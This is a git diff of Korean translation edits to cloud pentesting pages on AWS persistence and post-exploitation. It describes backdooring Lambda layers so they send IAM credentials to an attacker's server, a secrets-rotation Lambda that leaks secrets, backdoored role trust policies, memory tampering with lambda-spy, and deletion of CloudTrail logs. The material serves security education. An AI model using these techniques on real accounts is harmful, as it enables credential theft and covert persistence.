+- 제어된 사용자를 특권 그룹에 추가
- 액세스 키 생성 (새 사용자 또는 모든 사용자)
- 제어된 사용자/그룹에 추가 권한 부여 (첨부된 정책 또는 인라인 정책)
- MFA 비활성화 / 자신의 MFA 장치 추가
@@ -21,7 +21,7 @@
### 백도어 역할 신뢰 정책
-신뢰 정책에 백도어를 추가하여 외부 리소스를 당신이 제어할 수 있도록 가정할 수 있습니다 (또는 모든 사용자에게):
+신뢰 정책에 백도어를 추가하여 외부 리소스를 가정할 수 있습니다 (또는 모든 사용자에게):
```json
{
"Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index b31dfcf78..eee862dba 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -1,4 +1,4 @@
-# AWS - KMS Persistence
+# AWS - KMS 지속성
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@
### KMS 정책을 통한 접근 권한 부여
-공격자는 **`kms:PutKeyPolicy`** 권한을 사용하여 자신의 제어 하에 있는 사용자에게 키에 대한 **접근 권한을 부여**하거나 외부 계정에 부여할 수 있습니다. 더 많은 정보는 [**KMS Privesc 페이지**](../aws-privilege-escalation/aws-kms-privesc.md)를 확인하세요.
+공격자는 **`kms:PutKeyPolicy`** 권한을 사용하여 자신의 통제 하에 있는 사용자에게 키에 대한 **접근 권한을 부여**하거나 심지어 외부 계정에 부여할 수 있습니다. 더 많은 정보는 [**KMS Privesc 페이지**](../aws-privilege-escalation/aws-kms-privesc.md)를 확인하세요.
### 영구 권한 부여
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 73faf016c..147fb6f29 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -12,7 +12,7 @@
### Lambda Layer Persistence
-람다가 은밀하게 실행될 때 **임의의 코드를 실행하기 위해 레이어를 도입/백도어**하는 것이 가능합니다:
+람다가 은밀하게 실행될 때 **임의 코드를 실행하기 위해 레이어를 도입/백도어**하는 것이 가능합니다:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -35,7 +35,7 @@ aws-abusing-lambda-extensions.md
### Versions, Aliases & Weights
람다는 **다양한 버전**(각 버전마다 다른 코드)을 가질 수 있습니다.\
-그런 다음, **다양한 버전의 람다에 대해 다양한 별칭을 생성**하고 각 별칭에 대해 다른 가중치를 설정할 수 있습니다.\
+그런 다음, **다양한 버전의 람다에 대해 다양한 별칭을 생성하고** 각 별칭에 대해 다른 가중치를 설정할 수 있습니다.\
이렇게 하면 공격자는 **백도어가 있는 버전 1**과 **정상 코드만 있는 버전 2**를 생성하고 **1%의 요청에서만 버전 1을 실행**하여 은밀함을 유지할 수 있습니다.
@@ -43,8 +43,8 @@ aws-abusing-lambda-extensions.md
### Version Backdoor + API Gateway
1. Lambda의 원본 코드를 복사합니다.
-2. 원본 코드를 **백도어하는 새로운 버전을 생성**합니다(또는 악성 코드만 포함). 해당 버전을 게시하고 **$LATEST에 배포**합니다.
-1. 람다와 관련된 API 게이트웨이를 호출하여 코드를 실행합니다.
+2. **원본 코드를 백도어하는 새로운 버전을 생성**합니다(또는 악성 코드만 포함). 해당 버전을 게시하고 **$LATEST에 배포**합니다.
+1. 코드를 실행하기 위해 람다와 관련된 API 게이트웨이를 호출합니다.
3. **원본 코드로 새로운 버전을 생성**, 게시하고 해당 **버전을 $LATEST에 배포**합니다.
1. 이렇게 하면 이전 버전에서 백도어 코드가 숨겨집니다.
4. API Gateway로 이동하여 **새 POST 메서드**(또는 다른 메서드 선택)를 생성하여 람다의 백도어 버전을 실행합니다: `arn:aws:lambda:us-east-1::function::1`
@@ -54,11 +54,11 @@ aws-abusing-lambda-extensions.md
### Cron/Event actuator
-무언가가 발생하거나 시간이 경과할 때 **람다 함수를 실행할 수 있다는 사실**은 람다를 지속성을 얻고 탐지를 피하는 좋은 일반적인 방법으로 만듭니다.\
+무언가가 발생하거나 시간이 경과할 때 **람다 함수를 실행할 수 있다는 사실**은 람다를 지속성을 얻고 탐지를 피하는 좋은 방법으로 만듭니다.\
여기 AWS에서 **은밀하게 존재하기 위해 람다를 생성하는 몇 가지 아이디어가 있습니다**.
-- 새로운 사용자가 생성될 때마다 람다가 새로운 사용자 키를 생성하고 공격자에게 보냅니다.
+- 새로운 사용자가 생성될 때마다 람다가 새로운 사용자 키를 생성하고 공격자에게 전송합니다.
- 새로운 역할이 생성될 때마다 람다가 손상된 사용자에게 역할 수임 권한을 부여합니다.
-- 새로운 클라우드트레일 로그가 생성될 때마다 이를 삭제/변경합니다.
+- 새로운 cloudtrail 로그가 생성될 때마다 삭제/변경합니다.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index ccb7c1f48..3643db1c5 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -11,11 +11,11 @@ Lambda 확장은 다양한 **모니터링, 가시성, 보안 및 거버넌스
[**Lambda 확장이 작동하는 방식에 대한 자세한 정보는 문서를 확인하세요**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
-### 지속성, 요청 도용 및 요청 수정용 외부 확장
+### 지속성, 요청 훔치기 및 요청 수정용 외부 확장
이 게시물에서 제안된 기술의 요약입니다: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-Lambda 런타임 환경의 기본 Linux 커널이 “**process_vm_readv**” 및 “**process_vm_writev**” 시스템 호출로 컴파일되어 있다는 것이 발견되었습니다. 그리고 모든 프로세스는 동일한 사용자 ID로 실행되며, 외부 확장을 위해 생성된 새로운 프로세스도 마찬가지입니다. **이는 외부 확장이 설계상 Rapid의 힙 메모리에 대한 전체 읽기 및 쓰기 접근 권한을 갖는다는 것을 의미합니다.**
+Lambda 런타임 환경의 기본 Linux 커널이 “**process_vm_readv**” 및 “**process_vm_writev**” 시스템 호출로 컴파일되어 있다는 것이 발견되었습니다. 그리고 모든 프로세스는 동일한 사용자 ID로 실행되며, 외부 확장을 위해 생성된 새로운 프로세스도 마찬가지입니다. **이는 외부 확장이 설계상 Rapid의 힙 메모리에 대한 전체 읽기 및 쓰기 액세스를 갖는다는 것을 의미합니다.**
게다가, Lambda 확장은 **호출 이벤트에 구독할 수 있는 능력**이 있지만, AWS는 이러한 확장에 원시 데이터를 공개하지 않습니다. 이는 **확장이 HTTP 요청을 통해 전송된 민감한 정보에 접근할 수 없도록 보장합니다.**
@@ -26,13 +26,13 @@ Init (Rapid) 프로세스는 [http://127.0.0.1:9001](http://127.0.0.1:9001/)에
변수 **`AWS_LAMBDA_RUNTIME_API`**는 **자식 런타임 프로세스** 및 추가 확장에 대한 Rapid API의 **IP** 주소와 **포트** 번호를 나타냅니다.
> [!WARNING]
-> **`AWS_LAMBDA_RUNTIME_API`** 환경 변수를 우리가 접근할 수 있는 **`port`**로 변경하면 Lambda 런타임 내의 모든 작업을 가로챌 수 있습니다 (**중간자 공격**). 이는 확장이 Rapid Init과 동일한 권한으로 실행되며, 시스템의 커널이 **프로세스 메모리 수정**을 허용하여 포트 번호를 변경할 수 있기 때문에 가능합니다.
+> **`AWS_LAMBDA_RUNTIME_API`** 환경 변수를 우리가 접근할 수 있는 **`port`**로 변경함으로써, Lambda 런타임 내의 모든 작업을 가로챌 수 있습니다 (**man-in-the-middle**). 이는 확장이 Rapid Init과 동일한 권한으로 실행되며, 시스템의 커널이 **프로세스 메모리 수정**을 허용하여 포트 번호를 변경할 수 있기 때문에 가능합니다.
-**확장이 모든 런타임 코드 이전에 실행되기 때문에**, 환경 변수를 수정하면 런타임 프로세스(예: Python, Java, Node, Ruby)가 시작될 때 영향을 미칩니다. 또한, 이 변수에 의존하는 **우리 이후에 로드된 확장**도 우리의 확장을 통해 라우팅됩니다. 이 설정은 악성 소프트웨어가 보안 조치나 로깅 확장을 런타임 환경 내에서 완전히 우회할 수 있게 할 수 있습니다.
+**확장이 모든 런타임 코드 이전에 실행되기 때문에**, 환경 변수를 수정하면 런타임 프로세스(예: Python, Java, Node, Ruby)가 시작될 때 영향을 미칩니다. 또한, **우리의 확장 이후에 로드된** 확장도 이 변수를 의존하여 우리의 확장을 통해 라우팅됩니다. 이 설정은 악성 코드가 보안 조치나 로깅 확장을 런타임 환경 내에서 완전히 우회할 수 있게 할 수 있습니다.
-도구 [**lambda-spy**](https://github.com/clearvector/lambda-spy)는 **메모리 쓰기**를 수행하고 Lambda 요청, 다른 **확장** **요청**에서 민감한 정보를 **도용**하고 **수정**하기 위해 만들어졌습니다.
+도구 [**lambda-spy**](https://github.com/clearvector/lambda-spy)는 **메모리 쓰기**를 수행하고 Lambda 요청, 다른 **확장** **요청**에서 민감한 정보를 **훔치고** 심지어 **수정하는** 데 사용됩니다.
## 참고 문헌
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index abb131870..2bd7fa6d2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -8,7 +8,7 @@ Lambda 레이어는 **추가 코드를 포함할 수 있는** .zip 파일 아카
**함수당 최대 다섯 개의 레이어**를 포함할 수 있습니다. 함수에 레이어를 포함하면 **내용이 실행 환경의 `/opt`** 디렉토리에 추출됩니다.
-**기본적으로**, 생성한 **레이어**는 **귀하의 AWS 계정에만 비공개**입니다. 다른 계정과 레이어를 **공유**하거나 레이어를 **공개**할 수 있습니다. 귀하의 함수가 다른 계정에서 게시한 레이어를 사용하는 경우, 레이어가 삭제되거나 레이어에 대한 접근 권한이 취소된 후에도 **함수는 레이어 버전을 계속 사용할 수 있습니다**. 그러나 삭제된 레이어 버전을 사용하여 새 함수를 생성하거나 함수를 업데이트할 수는 없습니다.
+**기본적으로**, 생성한 **레이어**는 AWS 계정에 **비공개**입니다. 다른 계정과 레이어를 **공유**하거나 레이어를 **공개**할 수 있습니다. 함수가 다른 계정에서 게시한 레이어를 사용하는 경우, 해당 레이어가 삭제되거나 레이어에 대한 접근 권한이 취소된 후에도 **함수는 레이어 버전을 계속 사용할 수 있습니다**. 그러나 삭제된 레이어 버전을 사용하여 새 함수를 생성하거나 함수를 업데이트할 수는 없습니다.
컨테이너 이미지로 배포된 함수는 레이어를 사용하지 않습니다. 대신, 이미지를 빌드할 때 선호하는 런타임, 라이브러리 및 기타 종속성을 컨테이너 이미지에 패키징합니다.
@@ -18,23 +18,23 @@ Python이 lambda에서 사용할 load path는 다음과 같습니다:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
-Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
+두 번째와 세 번째 위치는 **lambda layers**가 파일을 압축 해제하는 디렉토리인 **`/opt/python/lib/python3.9/site-packages`**와 **`/opt/python`**에 의해 차지됩니다.
> [!CAUTION]
-> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
+> 공격자가 사용 중인 lambda **layer**에 **백도어**를 걸거나 **일반 라이브러리가 로드될 때 임의의 코드를 실행하는** **layer**를 추가하면, 각 lambda 호출 시 악성 코드를 실행할 수 있습니다.
따라서 요구 사항은 다음과 같습니다:
-- **Check libraries** that are **loaded** by the victims code
-- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
+- 피해자의 코드에 의해 **로드되는 라이브러리** 확인
+- **커스텀 코드를 실행하고 원래** 라이브러리를 **로드하는 lambda layers**로 **프록시 라이브러리** 생성
-### Preloaded libraries
+### 미리 로드된 라이브러리
> [!WARNING]
-> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
-> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
+> 이 기술을 악용할 때 어려움을 발견했습니다: 일부 라이브러리는 코드가 실행될 때 파이썬 런타임에 **이미 로드되어** 있습니다. `os`나 `sys`와 같은 것들을 찾을 것으로 예상했지만, **`json` 라이브러리조차 로드되어 있었습니다.**\
+> 이 지속성 기술을 악용하기 위해서는 코드가 실행될 때 **로드되지 않은 새로운 라이브러리**를 **로드해야** 합니다.
-With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
+이와 같은 파이썬 코드를 사용하면 lambda의 파이썬 런타임 내에서 **미리 로드된 라이브러리 목록**을 얻을 수 있습니다:
```python
import sys
@@ -44,24 +44,24 @@ return {
'body': str(sys.modules.keys())
}
```
-그리고 이것은 **목록**입니다 (라이브러리 `os` 또는 `json`이 이미 있는지 확인하십시오)
+그리고 이것은 **목록**입니다 (라이브러리 `os` 또는 `json`이 이미 있는지 확인하세요)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
-그리고 이것은 **람다에서 기본적으로 설치된 라이브러리** 목록입니다: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
+그리고 이것은 **lambda가 기본적으로 설치한 라이브러리** 목록입니다: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
-### 람다 레이어 백도어
+### Lambda Layer 백도어
이 예제에서는 타겟 코드가 **`csv`**를 임포트한다고 가정해 보겠습니다. 우리는 **`csv` 라이브러리의 임포트를 백도어**할 것입니다.
-이를 위해, 우리는 **`/opt/python/lib/python3.9/site-packages`** 경로에 **`__init__.py`** 파일이 있는 **csv** 디렉토리를 **생성**할 것입니다.\
-그런 다음, 람다가 실행되고 **csv**를 로드하려고 할 때, 우리의 **`__init__.py` 파일이 로드되고 실행될 것입니다**.\
+이를 위해, 우리는 lambda에 의해 로드되는 경로에 **`csv`** 디렉토리와 그 안에 **`__init__.py`** 파일을 생성할 것입니다: **`/opt/python/lib/python3.9/site-packages`**\
+그런 다음, lambda가 실행되고 **csv**를 로드하려고 할 때, 우리의 **`__init__.py` 파일이 로드되고 실행될 것입니다**.\
이 파일은 다음을 수행해야 합니다:
-- 우리의 페이로드를 실행
-- 원래의 csv 라이브러리 로드
+- 우리의 페이로드를 실행합니다
+- 원래의 csv 라이브러리를 로드합니다
-우리는 다음을 통해 두 가지를 모두 수행할 수 있습니다:
+우리는 다음을 사용하여 두 가지를 모두 수행할 수 있습니다:
```python
import sys
from urllib import request
@@ -83,11 +83,11 @@ import csv as _csv
sys.modules["csv"] = _csv
```
-그런 다음, 이 코드를 **`python/lib/python3.9/site-packages/__init__.py`** 경로에 포함하여 zip 파일을 만들고 이를 lambda layer로 추가합니다.
+그런 다음, 이 코드를 경로 **`python/lib/python3.9/site-packages/__init__.py`**에 넣고 lambda 레이어로 추가하는 zip 파일을 만듭니다.
이 코드는 [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)에서 찾을 수 있습니다.
-통합된 페이로드는 **첫 번째 호출 시 또는 lambda 컨테이너가 재설정된 후 IAM 자격 증명을 서버로 전송합니다** (코드 변경 또는 콜드 람다), 그러나 **다음과 같은 다른 기술**도 통합될 수 있습니다:
+통합된 페이로드는 **IAM 자격 증명을 서버로 전송합니다. 처음 호출되거나 lambda 컨테이너가 재설정된 후**(코드 변경 또는 콜드 람다) **다음과 같은 다른 기술**도 통합될 수 있습니다:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -95,14 +95,14 @@ sys.modules["csv"] = _csv
### 외부 레이어
-**외부 계정의 lambda layers를 사용할 수 있다는 점에 유의하십시오.** 또한, lambda는 권한이 없더라도 외부 계정의 레이어를 사용할 수 있습니다.\
+**외부 계정의 lambda 레이어를 사용할 수 있다는 점에 유의하십시오.** 또한, lambda는 권한이 없더라도 외부 계정의 레이어를 사용할 수 있습니다.\
또한 **lambda가 가질 수 있는 최대 레이어 수는 5개**입니다.
따라서 이 기술의 다재다능성을 향상시키기 위해 공격자는 다음과 같은 방법을 사용할 수 있습니다:
-- 사용자의 기존 레이어에 백도어를 설치합니다 (외부는 없습니다)
-- **자신의 계정에** **레이어**를 **생성**하고, **희생자 계정에 레이어 사용 권한을 부여**하고, **희생자의 Lambda에 레이어를 구성**한 후 **권한을 제거**합니다.
-- **Lambda**는 여전히 **레이어를 사용할 수 있으며** **희생자는** **레이어 코드를 다운로드할 수 있는 쉬운 방법이 없습니다** (람다 내부에서 rev shell을 얻는 것을 제외하고)
+- 사용자의 기존 레이어에 백도어를 설치합니다(외부는 없음).
+- **자신의 계정에** **레이어**를 **생성**하고, **희생자 계정에** 레이어 사용 권한을 부여한 후, **희생자의 Lambda에서** **레이어를 구성**하고 **권한을 제거**합니다.
+- **Lambda**는 여전히 **레이어를 사용할 수 있으며** **희생자는** **레이어 코드를 다운로드할 수 있는 쉬운 방법이 없습니다**(람다 내부에서 리버스 쉘을 얻는 것을 제외하고).
- 희생자는 **`aws lambda list-layers`**를 사용하여 **외부 레이어를 볼 수 없습니다**.
```bash
# Upload backdoor layer
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index bc9527652..fe230866a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -1,4 +1,4 @@
-# AWS - RDS Persistence
+# AWS - RDS 지속성
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index 3f38cc397..e190a4d65 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -12,11 +12,11 @@
### KMS 클라이언트 측 암호화
-암호화 프로세스가 완료되면 사용자는 KMS API를 사용하여 새 키(`aws kms generate-data-key`)를 생성하고 **생성된 암호화된 키를 파일의 메타데이터에 저장**합니다 ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) 그래서 복호화가 발생할 때 KMS를 사용하여 다시 복호화할 수 있습니다:
+암호화 프로세스가 완료되면 사용자는 KMS API를 사용하여 새 키(`aws kms generate-data-key`)를 생성하고 **생성된 암호화 키를 파일의 메타데이터에 저장합니다** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) 그래서 복호화가 발생할 때 KMS를 사용하여 다시 복호화할 수 있습니다:
-따라서 공격자는 메타데이터에서 이 키를 가져와 KMS(`aws kms decrypt`)로 복호화하여 정보를 암호화하는 데 사용된 키를 얻을 수 있습니다. 이렇게 하면 공격자는 암호화 키를 가지게 되고, 만약 그 키가 다른 파일을 암호화하는 데 재사용된다면 이를 사용할 수 있습니다.
+따라서 공격자는 메타데이터에서 이 키를 가져와 KMS(`aws kms decrypt`)로 복호화하여 정보를 암호화하는 데 사용된 키를 얻을 수 있습니다. 이렇게 하면 공격자는 암호화 키를 가지게 되고, 그 키가 다른 파일을 암호화하는 데 재사용된다면 이를 사용할 수 있습니다.
### S3 ACL 사용하기
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index 7c6258f92..15a5abd2b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -12,13 +12,13 @@
### 리소스 정책을 통한 접근
-리소스 정책을 통해 **외부 계정에 비밀에 대한 접근 권한을 부여**할 수 있습니다. 자세한 내용은 [**Secrets Manager Privesc 페이지**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)를 확인하세요. **비밀에 접근하기 위해서는** 외부 계정이 **비밀을 암호화하는 KMS 키에 대한 접근 권한도 필요**하다는 점에 유의하세요.
+리소스 정책을 통해 **외부 계정에 비밀에 대한 접근 권한을 부여**할 수 있습니다. 더 많은 정보는 [**Secrets Manager Privesc 페이지**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)를 확인하세요. **비밀에 접근하기 위해서는** 외부 계정이 **비밀을 암호화하는 KMS 키에 대한 접근 권한도 필요**하다는 점에 유의하세요.
### Secrets Rotate Lambda를 통한 접근
비밀을 자동으로 **회전**하기 위해 구성된 **Lambda**가 호출됩니다. 공격자가 **코드**를 **변경**할 수 있다면, 그는 직접 **새 비밀을 자신에게 유출**할 수 있습니다.
-이런 행동을 위한 Lambda 코드의 예시는 다음과 같을 수 있습니다:
+이런 행동을 위한 lambda 코드의 예시는 다음과 같을 수 있습니다:
```python
import boto3
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 00c67b577..08a65594b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -1,4 +1,4 @@
-# AWS - SNS Persistence
+# AWS - SNS 지속성
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,7 +10,7 @@
../aws-services/aws-sns-enum.md
{{#endref}}
-### Persistence
+### 지속성
**SNS 주제**를 생성할 때 **누가 읽고 쓸 수 있는지** IAM 정책으로 지정해야 합니다. 외부 계정, 역할의 ARN 또는 **"\*"**를 지정할 수 있습니다.\
다음 정책은 AWS의 모든 사용자에게 **`MySNS.fifo`**라는 SNS 주제에서 읽고 쓸 수 있는 권한을 부여합니다:
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 25a34b4ac..886f7b0f5 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -1,4 +1,4 @@
-# AWS - SQS Persistence
+# AWS - SQS 지속성
{{#include ../../../banners/hacktricks-training.md}}
@@ -32,6 +32,6 @@ SQS에서는 IAM 정책으로 **누가 읽고 쓸 수 있는지** 명시해야
}
```
> [!NOTE]
-> 새로운 메시지가 큐에 추가될 때마다 **공격자의 계정에서 Lambda를 트리거할 수 있습니다** (어떻게든 다시 추가해야 합니다). 이를 위해 다음 지침을 따르십시오: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> 새로운 메시지가 큐에 추가될 때마다 **공격자의 계정에서 Lambda를 트리거할 수 있습니다** (다시 추가해야 할 필요가 있습니다). 이를 위해 다음 지침을 따르십시오: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index 3bd0aae28..f7f944cdf 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1 +1 @@
-# AWS - SSM Perssitence
+# AWS - SSM 지속성
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index a7e26ac8f..72c25fd11 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -4,7 +4,7 @@
## Step Functions
-자세한 내용은 다음을 확인하세요:
+자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 528f02b23..1ad3ca0e7 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -21,9 +21,9 @@ aws sts get-session-token \
--serial-number <mfa-device-name> \
--token-code <code-from-token>
-# 하드웨어 장치 이름은 일반적으로 장치 뒷면의 번호, 예: GAHT12345678
-# SMS 장치 이름은 AWS의 ARN, 예: arn:aws:iam::123456789012:sms-mfa/username
-# 가상 장치 이름은 AWS의 ARN, 예: arn:aws:iam::123456789012:mfa/username
+# 하드웨어 장치 이름은 일반적으로 장치 뒷면의 번호입니다, 예: GAHT12345678
+# SMS 장치 이름은 AWS의 ARN입니다, 예: arn:aws:iam::123456789012:sms-mfa/username
+# 가상 장치 이름은 AWS의 ARN입니다, 예: arn:aws:iam::123456789012:mfa/username
### Role Chain Juggling
@@ -44,7 +44,7 @@ optional arguments:
-PowerShell에서 역할 조작을 수행하는 코드
+PowerShell에서 역할 저글링을 수행하는 코드
```powershell
# PowerShell script to check for role juggling possibilities using AWS CLI
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 14fa02b46..b7bbe3a5b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -19,7 +19,7 @@
이 기술은 [**이 CTF 작성글**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)에서 발견되었습니다.
-[**AWS 문서**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)에서 `PassthroughBehavior` 섹션에 명시된 바와 같이, 기본적으로 **`WHEN_NO_MATCH`** 값은 요청의 **Content-Type** 헤더를 확인할 때 변환 없이 요청을 백엔드로 전달합니다.
+[**AWS 문서**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)에서 `PassthroughBehavior` 섹션에 명시된 바와 같이, 기본적으로 값 **`WHEN_NO_MATCH`**는 요청의 **Content-Type** 헤더를 확인할 때, 변환 없이 요청을 백엔드로 전달합니다.
